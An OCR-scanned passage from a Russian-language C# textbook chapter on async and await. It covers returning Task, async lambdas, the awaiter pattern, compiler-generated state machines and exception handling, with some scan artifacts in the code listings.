908
Асинхронные возможности языка текст отклика по одной строке в момент времени*. Поскольку информа- ция обычно прибывает фрагментам^, на считывание первой строки может уйти некоторое время, но следующие несколько вызовов метода завершат- ся практически мгновенно, поскольку в каждом получаемом по сети паке- те обычно содержится несколько строк информации. Но если код может выполнять считывание быстрее, чем данные успевают прибывать из сети, то он обработает все строки из первого пакета, а до прибытия следующей строки у него останется какое-то время. Таким образом, некоторые вызовы ReadLineAsync будут возвращать и сравнительно медленные задачи, и та- кие, что будут выполняться мгновенно. Третья асинхронная операция — это вызов Task.Delay. Я добавил его, чтобы немного замедлить процесс — так я смогу отслеживать данные, постепенно прибывающие в пользователь- ский интерфейс. Task.Delay возвращает задачу Task, которая завершается после указанной задержки. Соответственно, мы имеем асинхронный экви- валент Thread. Sleep (Thread. Sleep блокирует вызывающий поток, a await Task. Delay привносит задержку без блокировки потока). " Каждое выражение await я помещаю в отдельную инструкцию, 4 но это не является обязательным требованиемлВполне допу- - Мостимо писать выражения в виде (await tl) + (await t2).Ecnn хотите, можете не ставить здесь скобки, так как await имеет более высокий приоритет, чем сложение. Мне просто нравит- ся визуальный акцент, который делается при помощи скобок. Я не собираюсь демонстрировать вам полный эквивалент листин- га 18.6 на C# 4.0, так как он получился бы слишком объемным, но опи- шу некоторые сопряженные с ним проблемы. Во-первых, мы имеем дело с циклом, содержащим два блока await. Чтобы создать эквивалентную конструкцию при помощи Task и обратных вызовов, необходимо писать собственные циклы, поскольку код цикла оказывается распределен по трем методам: первый из них запускает выполнение цикла (скорее всего, это будет вложенный метод, действующий как обратный вызов продолже- ния для GetStreamAsync), второй и третий являются обратными вызовами и обрабатывают завершение ReadLineAsync и Task. Delay. Такую проблему можно было бы решить, имея метод, начинающий новую итерацию, и вы- зывая его из двух мест: сначала из точки, где вы хотите начать цикл, а за- * Строго говоря, мне следовало бы проверить заголовки HTTP-ответа, чтобы опре- делить кодировку, а потом сконфигурировать StreamReader с учетом этой информации. Но я оставляю StreamReader самому определять кодировку — в данном демонстрацион- ном примере этого достаточно. 909
Глава 18 тем в том месте, где продолжение Task. Delay должно запустить новую ите- рацию. Эта техника показана в листинге 18.7, но она иллюстрирует лишь один аспект той работы, которую мы хотим перепоручить компилятору. Этот листинг не является полнофункциональной альтернативой для 18.6. Листинг 18.7. Неполный асинхронный цикл, управляемый вручную private void IncompleteOldSchoolFetchAndShowBody(string uri) { var w = new HttpClient(); var uiScheduler = TaskScheduler.FromCurrentSynchronizationContext(); w.GetStreamAsync(uri).ContinueWith(getStreamTask => { Stream body = getStreamTask.Result; var bodyTextReader = new StreamReader(body); Action startNextlteration = null; startNextlteration = () => { if (!bodyTextReader.EndOfStream) { bodyTextReader.ReadLineAsync() .ContinueWith(readLineTask => { string line = readLineTask.Result; headerListTextBox.AppendText(line); headerListTextBox.AppendText( Environment.NewLine); Task.Delay( TimeSpan.FromMilliseconds(10)) .ContinueWith(delayTask => startNextlteration(), uiScheduler); }, uiScheduler); } }; startNextlteration(); ), uiScheduler); 910
Асинхронные возможности языка Этот код работает по принципу предыдущего примера, но даже не пы- тается избавиться от каких-либолспользуемых им ресурсов. Здесь есть несколько точек, в которых может произойти отказ, поэтому мы можем вставить хотя бы один блок using или пару try/finally, чтобы немного поправить код. Но даже если не учитывать возникших в коде усложнений, он почти не напоминает предыдущий пример — совершенно неочевидно, что в нем мы пытаемся решить те же базовые задачи, что и в листинге 18.6. Если добавить в этот код надлежащую обработку ошибок, он станет со- вершенно нечитаемым. На практике было бы проще избрать совершенно другой подход и написать класс, использующий машину состояний для отслеживания того, на каком этапе находится выполнение работы. Таким образом, вероятно, было бы проще написать правильно работающий код, но мы бы ничуть не облегчили задачу человека, который бы читал эту за- пись. Ему было бы довольно сложно понять, что приведенный пример, по сути, является обычной циклической конструкцией. Неудивительно, почему большинство разработчиков предпочитают использовать синхронные API. Но в C# 5.0 можно писать асинхронный код, практически не отличающийся по структуре от эквивалентного син- хронного кода. В результате мы без особых проблем приобретаем всю ту производительность и быстроту, которая характерна для асинхронного подхода. В сущности, в этом и заключаются основные преимущества применения async и await. Определенное время всегда требуется и на сам запуск любого ме- тода, использующего await. Поэтому вы должны иметь в виду, что вам понадобится не только возможность потребления асинхронных API, но и возможность предоставить общедоступный асинхронный интерфейс. Такие проблемы также решаются при помощи данных ключевых слов. Возвращение задачи Компилятор C# ограничивает возвращаемые типы методов, поме- ченных ключевым словом async. Как вы уже видели, можно вернуть void, но есть и еще два варианта: можно вернуть Task или Task<T>, где Т — любой тип. Таким образом, вызывающая сторона может узнать ста- тус работы, выполняемой вашим методом, может прикреплять продол- жения. А если вы используете Task<T>, то появляется и способ вернуть результат. Разумеется, это также означает, что если ваш метод вызыва- ется из другого async-метода, то можно воспользоваться await для сбора результатов от вашего метода. 911
Глава 18 Два варианта на основе задач обычно более предпочтительны, чем void, так как при применении возвращаемого типа void вызывающая сторона никак не сможет узнать, завершил ли метод работу. Если вы вы- дадите исключение, то при использовании void вызывающей стороне придется отдельно узнавать и об этом. Асинхронные методы продол- жают работать после возврата — на самом деле это их важнейшая чер- та — а потому к тому моменту, как вы выдадите исключение, исходного элемента, осуществившего вызов, уже может не быть в стеке. Возвращая Task или Task<T>, вы предоставляете компилятору путь доступа к ис- ключениям и, если это применимо, способ выдать результат. Кроме того ограничения, что вы можете использовать ключе- « вое слово async лишь с методами, имеющими возвращаемые ———В?»'типы void, Task или Task<T>, вы также не можете применять это слово со входной точкой в программу, Main. Возврат задачи — настолько тривиальная операция, что отказывать- ся от нее практически нет смысла. Изменим метод из листинга 18.6 так, чтобы он возвращал задачу. Для этого потребуется внести лишь одно изменение: я использую вместо возвращаемого типа void тип Task, как показано в листинге 18.8. Остальной код можно сохранить в таком же виде, как и в предыдущем примере. Листинг 18.8. Возвращение задачи private async Task FetchAndShowBody(string uri) как раньше Компилятор автоматически генерирует код, необходимый для по- рождения объекта Task, и устанавливает его в состояние завершенности или отказа, если ваш метод завершается или выдает исключение соответ- ственно. А если вы хотите вернуть результат от вашей задачи, это также не составляет труда. Просто воспользуйтесь возвращаемым типом Task<T> - и сможете работать с ключевым словом return, как если бы возвращаемый тип вашего метода был просто т. Подробнее см. в листинге 18.9. Листинг 18.9. Возвращение типа Task<T> public static async Task<string> GetServerHeader(string uri) { using (var w = new HttpCIientJJJ 912
Асинхронные возможности языка var request = new HttpRequestMessage( HttpMethod.Head, uri); HttpResponseMessage response = await w.SendAsync(request, HttpCompletionOption.ResponseHeadersRead); string result null; IEnumerable<string> values; if (response.Headers.TryGetValues("Server", out values)) { result = values.FirstOrDefault(); } return result; } } ' Этот код асинхронно собирает HTTP-заголовки по тому же прин- ципу, который используется в листинге 18.1. Но вместо отображения результатов код берет значение первого заголовка Server: и возвраща- ет его. Как видите, инструкция return возвращает объект типа string, несмотря на то что данный метод возвращает TWbTask<string>. Ком- пилятор генерирует код, дополняющий задачу и обеспечивающий то, что результат будет представлять собой строку. При работе с любым из возвращаемых типов Task или Task<T> сгенерированный код соз- дает примерно такую задачу, какая была бы у вас при использовании TaskCompletionSource<T>, описанного в главе 17. Хотя ключевое слово await может потреблять любой асинхрон- 4 * ный метод, соответствующий определенному шаблону (опи- Э?*санному ниже), C# не обеспечивает подобной гибкости, когда речь идет о реализации асинхронного метода. Task, Task<T> и void — единственные возможные возвращаемые типы для асинхронного метода. Возвращение задачи не несет в себе никаких отрицательных момен- тов. Вызывающей стороне не обязательно что-либо делать с задачей, по- этому использовать метод будет не сложнее, чем метод с возвращаемым типом void, с дополнительным преимуществом доступности задачи для тех вызывающих сторон, которые в ней нуждаются. Единственная при- чина, почему было бы целесообразно возвращать тип void, — это необхо- 913
Глава 18 димость соблюдать строго определенную сигнатуру метода, что может быть обусловлено каким-либо внешним ограничением. Например, требо- вание обладать возвращаемым типом void предъявляется к большинству обработчиков событий. Но когда ничто не вынуждает вас использовать void, возвращать этот тип из асинхронного метода не рекомендуется. Применение async к вложенным методам Во всех рассмотренных выше примерах я использовал ключевое слово async с обычными методами. Но оно вполне применимо и с вло- женными методами — либо анонимными, либо с лямбда-выражениями. Например, если вы пишете программу, которая создает в коде элемен- ты пользовательского интерфейса, то может быть удобно прикреплять к ней обработчики событий, написанные в виде лямбда-выражений. Не- которые из таких обработчиков вы, возможно, пожелаете сделать асин- хронными, как в листинге 18.10. Листинг 18.10. Асинхронное лямбда-выражение okButton.Click += async (s, e) => { k using (var w = new HttpClient()) { infoTextBlock.Text await w.GetStringAsync(uriTextBox.Text); } }; Подобный синтаксис имеют и асинхронные анонимные методы, как показано в листинге 18.11. Листинг 18.11. Асинхронный анонимный метод okButton.Click += async delegate (object s, RoutedEventArgs e) { using (var w = new HttpClient()) { infoTextBlock.Text = await w.GetStringAsync(uriTextBox.Text); } }; Хотелось бы оговориться, что такой код не имеет ничего общего с асинхронным вызовом делегатов. Эта техника использования пула 914
Асинхронные возможности языка потоков рассматривалась в главе 9. Асинхронный вызов делегатов был популярен до того, как появились более удобные альтернативы — ано- нимные методы и TPL. Асинхронный вызов делегата — это операция, на выполнение которой может пойти вызывающая сторона. Но в таком случае асинхронность не является чертой делегата или того метода, на который он ссылается. Асинхронность в данном случае — это принцип работы кода, использующего делегат. Помечая анонимный метод или лямбда-выражение как async, мы просто получаем возможность исполь- зовать внутри метода ключевое слово await, изменяя применяемый ком- пилятором способ генерирования кода для этого метода. Шаблон await Большинство асинхронных API, которые вам доведется использо- вать с ключевым словом await, будут возвращать ту или инуьб задачу TPL. Но в C# это условие не обязательно. Программа будет ожидать (await) любую сущность, соответствующую определенному шаблону. Более того, хотя Task и поддерживает этот шаблон, принцип его рабо- ты таков, что компилятор использует задачи несколько иным образом, нежели при непосредственном взаимодействии с TPL. Отчасти именно поэтому я указывал выше, что код, демонстрирующий основанные на задачах эквиваленты операций с await, не вполне отражает изменение работы компилятора. В этом разделе я хочу продемонстрировать, как компилятор использует задачи и другие типы, поддерживающие await. Я напишу реализацию шаблона для работы с await, чтобы показать, чего от вас ожидает компилятор С#. Между прочим, язык Visual Basic также распознает этот шаблон. В листинге 18.12 показан асинхронный метод UseCustomAsync, потребляющий пользовательскую реализацию. Он присваивает результат выражения await строке string — это означа- ет, что он определенно ориентирован на то, что в качестве вывода асин- хронная операция будет выдавать строку string. Он вызывает другой метод, CustomAsync, который возвращает данную реализацию интересу- ющего нас шаблона. Как видите, это не Task<string>. Листинг 18.12. Вызов пользовательской реализации, допускающей работу с ожиданиями static async Task UseCustomAsync() { string result = await CustomAsync!); 915
Глава 18 Console.WriteLine(result); } public static MyAwaitableType CustomAsync() { return new MyAwaitableType!); } Компилятор рассчитывает, что операнд ключевого слова await будет относиться к типу, предоставляющему метод под названием GetAwaiter. Это может быть обычный член экземпляра или метод расширения. Таким образом, мы можем запрограммировать использование await с типом, ко- торый как таковой не поддерживает данное ключевое слово, для чего до- статочно написать подходящий метод расширения. Этот метод должен возвращать так называемый ждущий объект, делающий три вещи. Во-первых, ждущий объект должен предоставлять булевское (bool) свойство, называемое IsCompleted. Код, сгенерированный для работы с await, будет использовать это свойство, чтобы узнать, завершилась ли уже операция. В ситуациях, когда работа уже выполнена, излишне зада- вать обратный вызов. Поэтому await обходится без создания ненужного делегата, если свойство IsCompleted возвращает true, и сразу же пере- ходит к обработке оставшейся части метода. Компилятору также нужен способ для получения результата сразу же после того, как работа завершится. Поэтому у ждущего объекта дол- жен быть метод GetResult. Его возвращаемый тип определяет, к какому типу будет относиться результат операции — это и окажется тип выра- жения await. Поскольку в листинге 18.12 результат await присваивается переменной типа string, метод GetResult ждущего объекта, возвращае- мого методом GetAwaiter класса MyAwaitableType, должен возвращать string (или относиться к какому-либо типу, неявно преобразуемому к string). Наконец, компилятор должен иметь возможность предоставить об- ратный вызов. Если IsCompleted возвращает false, указывая, что опера- ция еще не завершена, то код, сгенерированный для выражения await, создаст делегат, который будет отвечать за выполнение оставшейся ча- сти метода. Должна быть предусмотрена возможность передачи делега- та ждущему объекту (случай принципиально похож на передачу делега- та методу ContinueWith, относящемуся к задаче). Для этого компилятору потребуется не только метод, но и интерфейс. Вам необходимо реализо- вать интерфейс INotifyCompletion; кроме того, существует опциональ- 916
Асинхронные возможности языка ный интерфейс, который по возможности также рекомендуется реали- зовывать. Этот интерфейс называется ICriticalNotifyCompletion. Они выполняют схожие задачи: каждый определяет единственный метод (OnCompleted и Unsaf eOnCompleted соответственно), принимающий толь- ко один делегат Action. Ждущий объект должен вызывать этот делегат, как только операция завершится. Разница между двумя данными интер- фейсами и их соответствующими методами заключается в следующем: первый интерфейс требует, чтобы ждущий объект перенаправлял кон- текст выполнения в целевой метод, а второй — не требует. Компилятор C# всегда перенаправляет контекст выполнения за вас, поэтому по воз- можности он обычно вызывает UnsafeOnCompleted, чтобы избежать ду- блирования такой передачи контекста. Если компилятор воспользуется OnCompleted, ждущий объект также передаст контекст. Правда, огра- ничения, определяемые политикой безопасности, могут не допускать использования UnsafeOnCompleted. Поскольку этот метод не перена- правляет контекст исполнения, нельзя разрешать недоверенному коду вызывать его, так как в противном случае может возникнуть способ, позволяющий обходить определенные механизмы безопасности. Метод UnsafeOnCompleted помечается атрибутом SecurityCriticalAttribute, означающим, что вызывать этот метод может только полностью дове- ренный код. Чтобы использовать ждущий объект из частично доверен- ного кода, нужно применять метод OnCompleted. В листинге 18.13 показана минимальная работоспособная реализа- ция шаблона, использующего ждущий объект. Пример крайне упрощен, поскольку всегда завершается синхронно, и его метод OnCompleted ничего не делает. На самом деле, при использовании шаблона «правильным» об- разом этот метод вообще не будет вызываться — потому я и сделал так, что он выдает исключение. Тем не менее, хотя этот пример и далек от реальной жизни, он позволяет понять принцип действия шаблона await. Листинг 18.13. Очень простая реализация шаблона await public class MyAwaitableType { public MinimalAwaiter GetAwaiterQ { return new MinimalAwaiter(); } public class MinimalAwaiter INotifyCompletion { public bool IsCompleted { get { return true; ) } 917
Глава 18 public string GetResultO ( return "This is a result"; } public void OnCompleted(Action continuation) { throw new NotlmplementedException(); } } } Имея под рукой этот код, мы можем посмотреть, что делается в листинге 18.12. Он будет вызывать GetAwaiter в моем экземпляре MyAwaitableType, возвращаемом методом CustomAsync. Потом он станет проверять свойство IsCompleted ждущего объекта, и если оно равно true (так и окажется), то остаток метода будет выполнен сразу же. Компи- лятор не знает, что IsCompleted в таком случае всегда равен true, поэ- тому он генерирует и код, необходимый для обработки условия false. В коде для обработки false станет создаваться делегат, который, буду- чи вызван, выполнит оставшуюся часть метода. Этот делегат окажется передан методу OnCompleted ждущего объекта. Я не Предоставляю здесь UnsafeOnCompleted, поэтому код вынужден использовать OnCompleted. В листинге 18.14 показан код, выполняющий все эти операции. Листинг 18.14. Очень приблизительная иллюстрация работы шаблона await static void ManualUseCustomAsync() { var awaiter = CustomAsync().GetAwaiter(); if (awaiter.IsCompleted) ( TheRest(awaiter); } else { awaiter.OnCompleted(() => TheRest(awaiter)); } } private static void TheRest MyAwaitableType.Minima1Awaiter awaiter) { string result = awaiter.GetResult(); Console.WriteLine(result); 918
Асинхронные возможности языка Я разделил метод на две части> поскольку компилятор C# избега- ет создания делегата в случаях, когда IsCompleted равно true, и я хотел сделать то же самое. Правда, компилятор C# действует немного иначе — ему также удается не создавать по дополнительному методу для каждой инструкции await, но в таких условиях код, генерируемый компилято- ром, значительно усложняется. На самом деле, при работе с методом, содержащим всего одну инструкцию await, компилятор привносит гораздо больше издержек, чем у нас получилось в листинге 18.14. Но как только количество выражений await начинает расти, повышенная сложность кода, генерируемого компилятором, постепенно оправдыва- ется, так как компилятору уже не приходится добавлять какие-либо до- полнительные методы. В листинге 18.15 приведен код, который больше напоминает работу компилятора. Листинг 18.15. Несколько более точное представление работы шаблона await private class ManualUseCustomAsyncState { private int state; private MyAwaitableType.MinimalAwaiter awaiter; public void MoveNext() { if (state == 0) { awaiter = CustomAsync().GetAwaiter(); if (!awaiter.IsCompleted) { state = 1; awaiter.OnCompleted(MoveNext); return; } } string result = awaiter.GetResult(); Console.WriteLine(result); I } static void ManualUseCustomAsync() I var s = new ManualUseCustomAsyncState(); 919
Глава 18 s.MoveNext(); } Этот пример по-прежнему немного проще, чем реальный код, но он иллюстрирует базовую стратегию. Компилятор генерирует вложенный тип, действующий как машина состояний. У него есть поле (state), в ко- тором отслеживается, как далеко метод успел продвинуться в выпол- нении работы, а также содержатся поля, соответствующие локальным переменным метода. В этом примере есть только одна такая перемен- ная — awaiter. В случаях когда асинхронная операция не блокируется (то есть ее свойство IsCompleted немедленно возвращает true), метод может сразу же переходить к следующей части работы. Но если ему встретится операция, на выполнение которой требуется какое-то ко- личество времени, код обновляет переменную state, чтобы запомнить, где метод остановился, а потом пользуется методом OnCompleted соот- ветствующего ждущего объекта. Обратите внимание: метод, вызов ко- торого должен быть выполнен по завершении, тот же самый, что уже выполняется: MoveNext. И такая ситуация сохраняется, независимо от того, сколько await вам нужно обработать. Каждый вызов завершения активирует один и тот же метод, а класс просто запоминает, насколько этот метод успел продвинуться в выполнении задачи. Именно с данной точки метод и возобновляет свою работу. Я не буду приводить здесь реальный код, сгенерированный компи- лятором. Он практически нечитаемый, поскольку содержит множество непроизносимых идентификаторов. Как вы помните из главы 3, когда компилятору C# требуется генерировать элементы с идентификатора- ми, которые не должны ни конфликтовать с кодом, ни быть непосред- ственно видимыми из него, он создает имя, допустимое по правилам CLR, но недопустимое в С#. Такие имена называются непроизносимыми. Более того, в коде, ге- нерируемом компилятором, применяются различные вспомогательные классы из пространства имен Sys tern. Runtime. Compilerservices, предна- значенные для использования исключительно из асинхронных методов. Эти классы, в частности, помогают определять, какие интерфейсы за- вершения поддерживает ждущий объект, а также участвуют в обработке перенаправления соответствующего контекста выполнения. Кроме того, если метод возвращает задачу, то применяются и дополнительные вспо- могательные классы, необходимые для создания и обновления задач. Но, если речь идет лишь о понимании того, какие взаимосвязи склады- 920
Асинхронные возможности языка ваются между поддерживающим ожидание типом и тем кодом, который генерируется в компиляторе для выражения await, листинг 18.15 дает об этом достаточно полное представление. Обработка ошибок Ключевое слово await работает с исключениями примерно так же, как и следовало ожидать. Если случается отказ асинхронной операции, то приходит исключение из выражения await, потребившего эту опера- цию. Общий принцип таков, что асинхронный код можно структуриро- вать так же, как и обычный синхронный код. Этот принцип сохраняется и при работе с исключениями. Компилятор делает все от него завися- щее, чтобы обеспечить такие условия. В листинге 18.16 показаны две асинхронные операции, одна из кото- рых осуществляется в цикле. Пример похож на листинг 18.6. Здесь мы немного иначе поступаем с выбираемым содержимым, но самая важная черта этого кода заключается в том, что он возвращает задачу. Именно на шаге возврата может быть выдана ошибка, если какая-либо операция окончится неуспешно. Листинг 18.16. Множество точек, в которых потенциально может возникнуть ошибка private static async Task<string> FindLongestLineAsync( string uri) { using (var w = new HttpClient()) I Stream body = await w.GetStreamAsync(uri); using (var bodyTextReader = new StreamReader(body)) { string longestLine = string.Empty; while (!bodyTextReader.EndOfStream) { string line = await bodyTextReader.ReadLineAsync(); if (longestLine.Length > line.Length) { longestLine = line; }
Глава 18 } return longestLine; } } ) При асинхронных операциях исключения могут представлять се- рьезную проблему, так как к моменту отказа вызов того метода, ко- торый начал задачу, уже может быть возвращен. Например, метод FindLongestLineAsync в данном примере обычно будет возвращаться сразу после того, как выполнит первое выражение await. Но, возмож- но, так и не случится — если интересующий нас ресурс находится в ло- кальном HTTP-кэше, то эта операция может завершиться немедленно. Тем не менее в большинстве случаев на выполнение операции требуется какое-то время, и метод вернется до ее окончания. Предположим, что операция завершилась успешно и началось выполнение оставшейся ча- сти метода. Но в ходе работы цикла, который постепенно собирал текст поступающего из сети ответа, компьютер потерял соединение с сетью. В результате произошел отказ одной из операций, инициированных ме- тодом ReadLineAsync. Исключение поступит от await в составе этой операции. В данном методе' не предусмотрена обработка исключений — что же случит- ся дальше? Логично предположить, что исключение начнет свой путь вверх по стеку, но что находится в стеке над этим методом? Можно быть практически уверенным, что вышестоящий код окажется не тем, кото- рый сделал вызов, — как вы помните, вызывающий метод вернется сразу после того, как обработает первое выражение await. Поэтому на рассма- триваемом этапе уже выполняется работа, которая была запущена в ре- зультате обратного вызова от объекта, ждущего задачу, возвращаемую методом ReadLineAsync. Вполне вероятно, что на данном этапе мы уже будем работать в одном из потоков пула, а код, расположенный в стеке прямо над нами, окажется частью кода, ждущего задачу. Он совершенно неприспособлен для обработки нашего исключения. Но исключение не проникает через весь стек. Когда оно оказыва- ется необработанным в методе async, возвращающем задачу, сгенери- рованный компилятором код отлавливает его и переводит задачу, воз- вращенную этим методом, в состояние отказа. Если код, вызвавший FindLongestLineAsync, работает непосредственно с TPL, он сможет уви- деть исключение, зафиксировав это состояние отказа и получив свойство 922
Асинхронные возможности языка Exception данной задачи. В качестве альтернативы вы можете вызвать Wait или выбрать свойство задачи Result. В любом случае задача выдаст составное исключение AggregateException, где будет содержаться и ис- ходное исключение. Но если код, вызывающий FindLongestLineAsync, использует await в возвращаемой нами задаче, то исключение повторно выдается уже из await. С точки зрения кода ситуация не отличается от той, в которой исключение возникает как обычно. Это показано в ли- стинге 18.17. Листинг 18.17. Обработка исключений, поступающих от шаблона await try { string longest = await FindLongestLineAsync("http://192.168.22.1/"); Console.WriteLine("Longest line: + longest); } catch (HttpRequestException x) { Console.WriteLine("Error fetching page: + x.Message); } Этот пример обманчиво прост. Как вы помните, компилятор суще- ственно изменяет структуру кода вокруг await, и при выполнении фраг- мента, на первый взгляд состоящего из единственного метода, может быть задействовано несколько вызовов. Таким образом, сохранение се- мантики даже подобного сравнительно простого блока для обработки исключений (или родственных ему конструкций, например инструкции using) — нетривиальная задача. Если вы когда-либо пытались писать эквивалентный код для обработки ошибок в асинхронной работе без по- мощи компилятора, то можете оценить, от какого количества проблем вас здесь избавляет С#. Ключевое слово await снимает обертку AggregateException, 4 ч созданную задачей, и повторно выдает исходное исключе- О»У ние. Благодаря этому асинхронные методы могут обработать исключение по такому же принципу, как это делали бы син- хронные. 923
Глава 18 Валидация аргументов У того способа, которым C# автоматически сообщает об исключени- ях через задачу, возвращаемую вашим асинхронным методом, есть один недостаток. Он не зависит от того, сколько обратных вызовов вы возвра- щаете. Он заключается в том, что код из листинга 18.18 может работать не так, как вы ожидали. Листинг 18.18. Как не следует выполнять валидацию аргументов public async Task<string> FindLongestLineAsync(string uri) { if (uri == null) { throw new ArgumentNullException("uri"); } Внутри асинхронного метода компилятор обращается со всеми ис- ключениями одинаково: ни одно из них не пропускается через стек (тогда как обычный метод позволял им проникать в стек). О любом исключении асинхронный метод сообщает, переводя возвращаемую за- дачу в состояние отказа. Это касается даже тех исключений, которые выдаются до первого await. В данном примере валидация аргументов происходит прежде, чем метод успевает сделать что-либо еще, а потому на этапе валидации аргументов мы пока работаем в потоке, полученном от вызывающей стороны. Возможно, вы предполагали, что исключение аргумента, выданное этой частью кода, будет передано напрямую вызы- вающей стороне. На самом деле, вызывающая сторона увидит возврат без исключения. В результате такого возврата мы имеем отказавшую за- дачу. Если вызывающий метод немедленно выполнит await в возвра- щенной задаче, ничего особого не произойдет — он увидит исключение в любом случае. Но некоторые образцы кода могут не приступать к ожи- данию немедленно, и тогда вызывающая сторона увидит исключение лишь спустя какое-то время. Как правило, при работе с простыми ис- ключениями валидации аргументов соблюдается следующее соглаше- ние: если вызывающая сторона явно допустила программную ошибку, то исключение должно быть выдано немедленно. Поэтому нам действи- тельно придется поступить как-то иначе. 924
Асинхронные возможности языка “ Если для определения валидности того или иного аргумента 4 • необходимо выполнять медленную работу, то вы не сможете ——3?*соблюдать это соглашение (при условии, что вам нужен по- настоящему асинхронный метод). В таком случае вам придет- ся выбрать один из двух вариантов: либо блокировать метод до тех пор, пока он не сможет валидировать все аргументы, либо сообщать об исключениях в возвращаемой задаче, а не выдавать их немедленно. Как правило, пишется обычный метод, выполняющий валидацию ар- гументов, а затем вызывающий приватный async-метод, который, в свою очередь, выполняет основную работу. Кстати, вам придется реализовать нечто подобное немедленной валидации аргументов с применением ите- раторов. Итераторы были описаны в главе 5. В листинге 18.19 мы видим именно такой общедоступный метод-обертку и начало вызываемого им метода, выполняющего основную работу. Листинг 18.19. Валидация аргументов для асинхронных методов public Task<string> FindLongestLineAsync(string url) { if (url == null) { throw new ArgumentNullException("url"); } return FindLongestLineCore(url); } private async Task<string> FindLongestLineCore(string url) { Поскольку общедоступный метод не помечен как async, то любые выдаваемые им исключения попадут непосредственно к вызывающей стороне. Но любые ошибки, возникающие уже в период выполнения ра- боты в приватном методе, будут сообщаться через задачу. Отдельные и множественные исключения Как было рассказано в главе 17, библиотека TPL‘ определяет модель для сообщения о множественных ошибках. Механизм таков: свойство за- 925
Глава 18 дачи Exception возвращает исключение AggregateException. Даже если произошла всего одна ошибка, вам все равно потребуется извлекать ее из этого AggregateException. Но если вы воспользуетесь ключевым словом await, оно уберет для вас эту обертку. Как было показано в листинге 18.17, код получит первое исключение в InnerExceptions и повторно выдаст его. Это удобно, когда операция может спровоцировать лишь одну ошиб- ку — вам не приходится писать дополнительный код для обработки со- ставного исключения, а потом копаться в содержимом этого исключения. Если вы используете задачу, возвращенную async-методом, в ней никог- да не будет более одного исключения. Тем не менее такой подход про- блематичен, если вы работаете с составными задачами, которые могут отказать по-разному в один и тот же момент времени. Например, Task. WhenAll принимает коллекцию задач и возвращает единую задачу, завер- шающуюся успешно лишь при условии, что не откажет ни одна из более мелких задач, входящих в ее состав. Если одна или несколько таких задач завершатся с ошибкой, то вы получите исключение AggregateException, содержащее несколько ошибок. Если вы используете await с такой опе- рацией, то оно выдаст вам лишь первое из произошедших исключений. Обычные механизмы, применяемые TPL, — метод Wait или свойство Result — дают полный набор ошибок, но оба они блокируют поток, если задача еще не завершилась. А что если вам требуется организовать эф- фективную асинхронную работу с await, при которой потоки задейству- ются лишь в случаях, когда им действительно есть что делать, — но при этом вы хотите также сохранить способность видеть все ошибки? Воз- можное решение показано в листинге 18.20. Листинг 18.20. Ожидание без выдачи исключений, за которым следует вызов метода Wait static async Task CatchAll(Task[] ts) ( try { var t = Task.WhenAll(ts); await t.ContinueWith( x => {}, TaskContinuationOptions.ExecuteSynchronously); t.Wait(); } catch (AggregateException all) 926
Асинхронные возможности языка ( Console.WriteLine(all); I } Здесь мы прибегаем к await, чтобы воспользоваться той эффективно- стью, которая характерна для асинхронных методов С#. Но мы не вызы- ваем await в самой составной задаче, а делаем продолжение. Продолже- ние может успешно завершиться, когда завершится предшествующая ему задача — причем успешность или неуспешность такой предшествующей задачи не играет роли. Тело продолжения пустое, поэтому здесь просто негде возникнуть ошибке, а значит, await гарантированно не будет выда- вать тут исключение. Вызов Wait выдаст исключение AggregateException при какой угодно ошибке, позволяя увидеть все исключения в блокё catch. А поскольку мы вызываем Wait только после завершения await, мы знаем, что задача уже завершилась, и вызов блокироваться не будет. Один недостаток данного подхода заключается в том, что он требует создания целой дополнительной задачи лишь для того, чтобы мы мог- ли ждать, не выдавая исключения. Я сконфигурировал продолжение так, чтобы оно выполнялось синхронно. Поэтому здесь нам не придется планировать выполнение второго куска работы через пул потоков, но полностью избавиться от нежелательной траты ресурсов мы пока не мо- жем. Немного более сложный, но и более эффективный подход связан с обычным применением await, но с использованием дополнительного обработчика исключений. Этот обработчик будет проверять, не возник- ло ли дополнительных исключений, как показано в листинге 18.21. Листинг 18.21. Поиск дополнительных исключений static async Task CatchAll(Task[] ts) ( Task t = null; try ( t = Task.WhenAll(ts); await t; ) catch (Exception first) I Console.WriteLine(first); 927
Глава 18 if (t != null && t.Exception.InnerExceptions.Count > 1) { Console.WriteLine("I've found some more:"); Console.WriteLine(t.Exception); } I } Так мы обходимся без создания второй задачи, единственный недо- статок заключается в том, что обработка исключений выглядит немного странно. Параллельные операции и пропущенные исключения Самый простой способ использования await связан с последователь- ным выполнением программы, точно так же, как и в синхронном коде. Хотя может показаться, что при последовательном выполнении рабо- ты мы не пользуемся всеми потенциальными преимуществами асин- хронного кода, в такой ситуации гораздо эффективнее задействуются доступные потоки (по сравнению с синхронным кодом). Кроме того, описываемый подход очень удобен при работе с клиентским кодом поль- зовательского интерфейса. Правда, на этом можно не останавливаться. Можно одновременно запустить выполнение нескольких кусков ра- боты. Вы можете вызвать асинхронный API и вместо того, чтобы сразу же применять await, сохранить полученный результат в переменной, а потом начать еще один кусок работы и впоследствии ожидать оконча- ния обоих этих фрагментов. Хотя это действительно работоспособная техника, при ее использовании невнимательный программист может попасть в ловушку, показанную в листинге 18.22. Листинг 18.22. Запуск нескольких параллельных операций static async Task GetSeveralO { using (var w = new HttpClient()) { w.MaxResponseContentBufferSize = 2000000; Task<string> gl w.GetStringAsync("http://www.interact-sw.co.uk/"); Task<string> g2 928
Асинхронные возможности языка w.GetStringAsync( ’'http://www.interact-sw.co.uk/iangblog/") ; // ПЛОХО! Console.WriteLine((await gl).Length); -r-----------------------" Console.WriteLine((await g2).Length); } } Этот код параллельно выбирает содержимое, находящееся по двум URL-ссылкам. Запустив оба фрагмента работы, код использует два вы- ражения await для сбора результатов от каждого и вывода на экран зна- чения длины результирующих строк. Если операции закончатся успеш- но, то код сработает, но он не обрабатывает ошибки как следует. Если первая операция завершится отказом, то код никогда не дойдет до вы- полнения второго await. Это означает, что если и вторая операция от- кажет, то никакой элемент кода не отследит выдаваемое ею исключение. В конце концов, TPL обнаружит, что исключение прошло незамечен- ным, в результате чего произойдет событие UnobservedTaskException, и вся программа может аварийно завершиться. Обработка незамечен- ных исключений рассмотрена в главе 17. Проблема осложняется тем, что такая ситуация может возникать лишь от случая к случаю — когда обе операции очень быстро откажут одна за другой, ~ поэтому подоб- ную ошибку очень легко упустить при тестировании. Чтобы не попадать в подобную ловушку, нужно аккуратно выстраи- вать обработку исключений. Например, вы могли бы отлавливать все ошибки, исходящие от первого await, и лишь потом переходить к об- работке второго await. Другой вариант — применение Task.WhenAll для ожидания всех задач как единой 